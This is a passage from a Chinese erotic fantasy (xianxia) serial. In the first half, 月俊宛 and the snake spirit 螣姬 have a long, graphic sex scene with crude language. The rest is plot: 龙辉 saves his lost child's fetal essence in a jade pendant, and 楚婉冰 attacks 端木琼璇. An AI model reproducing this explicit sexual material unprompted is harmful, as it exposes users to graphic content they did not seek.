青蛇口中牙,恶妇毒心肠!这条蛇精可是两者都占了,月俊宛哪敢哪敢忤逆她,打又打不过,跑又跑不掉,唯有尽力耕犁,好好滋润这块久旷的肥田。

沉喝一声,月俊宛双臂箍住螣姬的蛇腰,猛地将她抛在桌子上,螣姬眯着水汪汪的眸子,笑盈盈朝后躺下,轻轻分开粉嫩的玉腿,朝月俊宛抛了个媚眼道:「死狐狸,还愣着干什么,快来呀!人家裙底下可是什么也没穿哩!」

娇声媚眼,放荡浪语,月俊宛犹如吃了春药,俯身扑去,猛地将螣姬的襦裙掀起,果真下边空空如也,两条雪润粉白的大腿俏生生地张着,腿心处黑绒茂盛,一道橘红色的肉缝正在难耐地开阖抽动,丝丝蜜汁有此渗出。

月俊宛捧起螣姬玉臀,把螣姬光滑的大腿都亲遍后,就向腴沃的私处袭去,张开大嘴就把阴阜覆盖了,舌头寻找着阴蒂。

便朝美妇的肉穴吃去,一口含出股股蜜汁,粘稠腥甜,就像是瓜果因为熟烂而崩裂出的汁水。

「死狐狸,你好坏……吃得人家好美哦……」

少女时候的螣姬也曾被月俊宛的口舌舔得美感连连,高潮迭起,如今久别重逢,这番滋味依旧销魂如昔,爽得她两条美腿紧紧夹住月俊宛的头,不住绞磨。

月俊宛好不容易才从骚香扑面的腿股中挣开,还没来得及喘气,子孙根就被螣姬一把握住。

螣姬解开他的腰带,拉出肉柱,玉手撸了几下,媚笑道:「臭狐狸,已经很硬了,快进来吧!」

月俊宛被她小手握得极为舒畅,又想起这蛇美人口唇的销魂,于是便想重温旧梦:「蛇美人,先替我好好含舔一番吧。」

螣姬千娇百媚地白了他一眼,俯首撅臀,含住肉柱,蛇信香舌时而撩动马眼,时而卷洗龟棱,爽得月俊宛小腿阵阵抽搐,酸麻由尾椎骨传入大脑,险些便要缴械投降,一泻千里。

螣姬抬起媚眼,见他嘴角抽动,紧闭双目,额头渗汗,心知他已经到了极限,只是强行苦撑罢了。

「看你还能忍到什么时候!」

螣姬心里一笑,左手绕到月俊宛臀后,伸出中指猛地戳入其臀眼。

前敌未退,后路又遭偷袭,月俊宛阵脚大乱,精门大开,射了个酣畅淋漓,将禁欲多日而累积的阳精尽数灌入螣姬口中。

螣姬万万没料到这股阳精如此充沛,顿时被呛得一阵咳嗽干呕,好不容易才回过气来。

月俊宛长叹吸气,缓缓回神,但下体肉棒已是疲软萎靡,但挂着白色浆液和湿润口涎,显得尤为淫靡。

螣姬欲壑难填,伸手套了几下依旧没有焕发生机,不禁呸道:「没用的东西,这么快就不行了吗!」

月俊宛干咳一声道:「蛇美人,还得劳烦你再费一番‘口舌’!」

螣姬俏脸晕红地白了他一眼,暗忖道:「就在便宜你这冤家一回!」

红唇轻启,先是用嫩舌在龟棱上刮了一下,紧接着对着马眼吹了口气,月俊宛只觉得一股热气顺着尿道口传入根茎,由尾椎蔓延全身,全身热乎乎的,有种不吐不快的感觉,随后月俊宛感到坚挺再度没入一片柔滑温暖。

熟练地吞吐起来,偶尔吐出肉棒,用香舌舔一舔龟头,随后又一点一点地把肉棒含进嘴里,开始快速吞吐起来,灵活的舌头在口腔中转着圈,像为肉棒洗澡,月俊宛的肉棒很快便恢复力气,对着她的小嘴抽插起来。

螣姬吐出肉柱,上边已经是晶莹水润,用小手套弄起来:「死狐狸,你要是再不好好卖力,可别怪我不客气了!」

月俊宛呵呵一笑,顺手将酒菜扫掉,清空桌子,将螣姬抱起放在桌子上。

螣姬满足地媚吟一声,主动张开双腿,月俊宛挺起下身,对准宝蛤玉唇,火热的龟首在上边研磨了几下,惹得玉蚌吐露,更是湿滑,随后腰身向前,咕噜一声冲入窄小的蛇道。

「哦……臭狐狸……这么粗……胀死人了!」

螣姬舒服地呻吟一声,粉腿主动缠住月俊宛腰肢,丰臀上挺,迎合肉柱入体。

月俊宛被她艳丽媚态惹得火气,一边捏住肥美的肉臀,一手扣住一只柔滑抖动的奶子:「骚货,舒服吗,本公子弄得你爽吗?」

五指扣在乳肉上,在饱满的酥嫩奶肌上留下指印红痕。

螣姬美目半合,皓臂搂住月俊宛脖子,主动奉上香吻,吻得如此如醉。

月俊宛与她纠缠了半会,心生一计,伸手抓过一个尚未落地的酒壶,用嘴吸了一口酒含住,又渡给螣姬。

酒香扑鼻,螣姬乐得享受,张口便吃,香醇的美酒两人口唇间颠来倒去,合着涎也流入喉咙。

螣姬在酒精的熏蒸下,更为亢奋,肌肤泛起阵阵桃红,玉乳随着亢奋的娇躯抖动,乳浪重重,娇啼媚吟叫:「死狐狸,舒服,嗯……那就好好奸我……哦……好长,好粗……顶到底了……」

「蛇美人,这些年可有人把你干得这么爽?」

「有!」

「谁?」

「关你什么事,总之比你粗,比你长,比你硬……每一下都顶到人家心窝,好像被热水注入身子那般,可以把人烫死……」

螣姬媚笑盈盈地望着月俊宛,似有意将他跟龙辉相比,故意出言刺激。

月俊宛脸上一阵抽搐,恶狠狠地抓出其晃动的玉乳,就像是两颗水嫩的豆腐脑,以此为支点加快抽动,拼尽力气也要挽回面子。

在月俊宛拼命抽插下,螣姬细嫩的肌肤渗出一层香汗,整个人就像从水里捞起来一般,吟唱浪叫道,「好粗,好大……入得人家快疯了!」

月俊宛甚是满足,也顾不得那对摇晃波动的玉乳,操起腿弯便是一轮狠劲,只觉得腔肉紧凑,嫩滑如水,窄似蛇道,阵阵刺骨酥麻流入尾椎。

螣姬身子忽然一震,细白雪肌阵阵抽搐,花心大开,浪水如潮泉涌,温热地浇在棒首之上,月俊宛身子也随之一僵,射了出来。

「烫死人了……死狐狸,这么多还敢射进来,胀死人了!」

螣姬满足地眯着媚眼喘息,呵气如兰,娇靥酡红,玉乳颤巍巍地抖动,苞蕾艳红鲜嫩,正是久旷旱田终得雨露,虽未完全滋润但也稍减欲火。

月俊宛只觉得小腹一阵酸麻空虚,双腿也略显颤抖,暗忖道:「跟这蛇美人来这么来一回,比跟我宅院那般小美人日夜宣淫还要辛苦,看来蛇羹虽好吃,吃多也会伤身。」

螣姬俏脸晕红地站起身来,掏出手帕细细擦拭身子,笑盈盈地穿好衣服,仿佛方才一切都没发生过一般,风流放荡的俏模样瞬间又变回了雍容华态,更似一名外出置办家用的美妇。

月俊宛也不禁暗叹道:「蛇美人便是蛇美人,丝毫不像那些小姑娘般缠腻,办完事提起裙子就走,真是爽快!」

星湖居内,龙辉火急火燎地闯了进去,大声问道:「冰儿呢,她有没有回来!」

居所内,洛清妍跟涟漪正低头商议,两人同时抬眼,母女二人那明媚的眼眸中皆透着几分忧愁。

龙辉的心倏然跳至喉咙,用尽量沉稳的声音道:「涟漪,按照计划冰儿应该是销毁火炮后就从小路撤退,以你们四人的武功要全身而退并不难,这途中是不是出了什么岔子?」

涟漪幽幽一叹,说道:「在半路上,我们遇见好几具女尸,细细检查下发现这些女子都是被人采尽阴息而死,冰儿一怒之下就撇下我们去找那个凶手……」

龙辉焦急万分,不住地在屋内踱步,额头已经布满冷汗,因为不久前的那阵钻心剧痛着实叫他感到不安。

洛清妍见他一脸愁容,便安慰道:「龙辉,你先别担心,冰儿的武艺你也是知道的,就算遇上先天高手要脱身还是可以的。」

龙辉叹道:「若是往常我不会担忧,可是现在那丫头有了身孕……」

就在这时一股精纯的先天破空而来,透过窗户直入里屋。

三人也被吓了一跳,只见这股先天之气飞向龙辉,龙辉感到一阵亲切,不禁伸手去抓,那股气息也像是有生命般,十分乖巧地落在龙辉掌中,将散而不散。

龙辉只觉得这股气息与自己有股难以割舍的羁绊,仿佛是血脉相连的亲人,倏然间,龙辉醒悟过来:「这是胎息之气,是我孩子的气息!」

洛清妍闻言,亦是花容失色,立即凑过来,细看这团胎息。

凝望数息,洛清妍蹙眉道:「确实是冰儿腹中的胎儿气息……胎息脱离母体,便来寻父亲,胎息离体只怕孩子已经凶多吉少了。」

龙辉浑身一震颤抖,喃喃道:「孩子,孩子没了!那冰儿呢……她怎么样了?不行,我要去找她,就算把天翻个底也要找到她!」

语气越发激动,双眼绽放出赤红凶光。

洛清妍急忙一把揪住他,说道:「你先冷静一下,你若这样离开,只怕这团胎息很快就要消散于无形,孩子就真的没救了!」

龙辉倏然一震,凝视着手掌,眼中凶光渐渐消散,轻柔地抚摸在那团胎息,低声道:「怎么救孩子?」

洛清妍叹道:「平常的胎息之气离开母体而便会消散,但这个孩子来的怪异,居然离开母胎后仍有一息真元不散,但这种状况我也不知能够保持多久,要尽快找到可以养胎之处,方可重燃生机。」

龙辉微微一愣,蹙眉道:「把胎息再次种回冰儿体内吗?」

洛清妍摇头道:「恐怕不行,如今胎息离体,按照推断冰儿的身子或多或少都受了伤害,冒然回归母体只怕适得其反,只有再换一个母体,待冰儿孕育胎息!」

换一个母体重孕胎息?龙辉忽然一愣,心忖道:「重寻母体孕生胎息,除了冰儿外,世上还有一个凤凰血脉……难道是要……」

想到这里不禁朝洛清妍望去。

洛清妍只觉得嫩脸一阵滚烫,仿佛都快冒出烟来,狠狠地瞪了他一眼,嗔道:「乱瞄什么,我是说要寻一处具有混沌之气的地方,将胎息种进去!」

龙辉哦了一声,这才收回紊乱的心绪。

洛清妍暗骂一声死不正经,伸手从衣襟中掏出一枚玉佩递给龙辉,说道:「此玉名为洗心玉,内暗藏符咒,可有纳气藏元之效,便用它来转载胎息吧。」

龙辉伸手接过,只见玉佩样式极为精致,雕花刻纹,晶莹之余似有水波泛动,玉是好玉,而且温润滑腻,显然是洛清妍常年佩戴之物,因为常年浸润美人体气玉质也带着淡淡甜腻幽香,其香味甜腻可口,犹如奶酪乳脂,叫人恨不得化身为玉佩,也给这妖娆美女贴身收藏,日日夜夜浸润在那片嫩滑奶脯中,与绵滑丰腴的乳肉长相厮守,让乳香渗入每一个毛孔。

洛清妍见他目光呆滞,已经猜出了几分,强压羞意干咳道:「好了,快将胎息收入其中吧,若不然胎息便危险了。」

龙辉闻言急忙施展纳气之法,将骨血胎息引入洗心玉之中,总算护住一缕残息。

洛清妍又说道:「洗心玉的效果有多久,我也不敢保证,总之需得尽快寻到混沌之气,让胎息种入其中。」

龙辉奇道:「为何要用混沌之气呢?」

洛清妍说道:「因为世间万物皆有混沌而来,混沌便是养育万物的本源,这孩子因为脱离母体,损伤甚重,唯有以万物本源方可疗复。」

龙辉略一思考,再结合龑武天书虚空篇的口诀,也同意洛清妍的说法,暗忖道:「若非我学艺未精,又何愁这混沌之气,以虚空篇之功法直接造出一片混沌,岂不干脆利索,这孩子也免遭折腾。」

龙辉轻抚玉佩说道:「吾儿乖,现在洗心玉里睡一觉,待爹爹寻回你娘亲,再找个好地方给你休息。」

胎息似乎感觉到龙辉气息,整个洗心玉散发出淡淡的光晕,就像是向父亲撒娇一般。

龙辉说了一声乖儿子后,重振精神,说道:「当前之急先寻回冰儿。魔界攻打临夏山,冰儿却又恰好失踪,这事十有八九跟魔界脱不了关系,我这就去焱州,入魔界探探虚实!」

洛清妍摇头道:「魔界若真捉走冰儿,是不会将人关在魔界的,我看他们十有八九是将冰儿关在魔界外的某些据点。」

说罢柳眉轻蹙,叹道:「可惜魔界对外围据点的保密做的十分到位,到现在我还不清楚魔尊究竟在尘世设了多少据点。」

涟漪忽然道:「不如咱们再回一趟临夏山,若能找到冰儿最后出现的地点,说不定可以顺藤摸瓜,找到冰儿的下落。」

洛清妍点头同意,说道:「事不宜迟,龙辉、涟漪你们两人就再回一趟临夏山,我便直接去找端木睺,顺势敲打敲打这老狐狸,看看他在搞什么名堂。」

也不知昏迷了多久,当她睁开眼睛后发现自己正躺在软榻之上,空气弥漫着一股檀香,沁人心脾。

楚婉冰只觉得一阵气衰,无力地撑起身子,环顾四周,只见屋内装饰典雅精致,雕花镶玉甚是华贵,当她目光触及一面铜镜时大吃一惊——自己此刻竟然已经露出本相!一定是我昏迷时无法维持万变幻元术,糟了,我的身份定然被识破了!楚婉冰暗叫不妙,自己露出本相,以端木琼璇的精明稍一推敲,恐怕已经将所有的事情猜出个八九不离十,无论妖族还是龙辉都陷入一个致命的危机。

「要速离此地,将此事告知娘亲和小贼!」

楚婉冰当机立断,便要挣扎起来,谁料却感身子一阵疲软,她下意识地伸手摸向小腹,感觉到里边空空如也,不禁花容失色,整个人硬生生僵住了,泪水犹如江河决堤般涌了出来。

就在这时,一阵推门声将她从哀伤中唤醒,楚婉冰强忍心痛和身疲,跳下床去,使出补天诀隐匿气息,再以灵蛇身法游到房梁之上,做好战斗或者逃走的准备。

只见一粉衣丽人带着两名婢女聘婷入内,婢女生得俏丽,那粉衣丽人更是明艳照人,身段丰腴高挑,正是端木琼璇,但叫人意外的是她两鬓秀发已是一片花白,与周围的乌黑形成鲜明对比,那双黑白分明的杏目布满血丝,满脸愁容和愧疚。

看到这魔女,楚婉冰顿时怒火翻腾,也不顾力衰气弱,猛地冲下房梁,一掌拍去:「还我孩子!」

端木琼璇先是微微一愣,随即凄苦一笑,阖上双眼,不躲不闪任由怒掌加身,硬受连环三掌,楚婉冰虽是气力不足,但含怒出招也是不可小视,这三掌下来,端木琼璇顿时口吐朱红。

那两名婢女大惊失色急忙出手护主,一招一式也是有板有眼,身手着实不凡。

楚婉冰柳眉倒竖,杀气涌动,娇叱道:「大胆奴才,今日姑奶奶便大开杀戒!」

两名婢女紧握粉拳,誓要与楚婉冰周旋到底。

「你们两个退下吧!」

端木琼璇忽然开口道。

左边那名婢女露出难为之色,说道:「奴婢要保护公主安危。」

端木琼璇喝道:「叫你们下去,没听到吗,是不是要我那刀子赶你们才肯走吗!」

两女吓了一大跳,告罪一声立即退下。

端木琼璇说道:「冰妹,这儿是姐姐在灵州的一处宅院,并非魔界,你且安心休养。」

楚婉冰冷笑道:「少在这儿假惺惺,今日说什么也要取你性命,祭我孩儿在天之灵!」

端木琼璇凄苦一笑,叹道:「我知道说什么都是多余的,若杀了我能消冰妹你心头之恨,姐姐愿意受死!」

楚婉冰猛一咬唇,娇叱道:「好,如你所愿!」

说罢指掌凝气,便要朝着端木琼璇命门拍去。

就在这时,一个沉稳的声音响起:「璇儿,你在吗,为父要进来了!」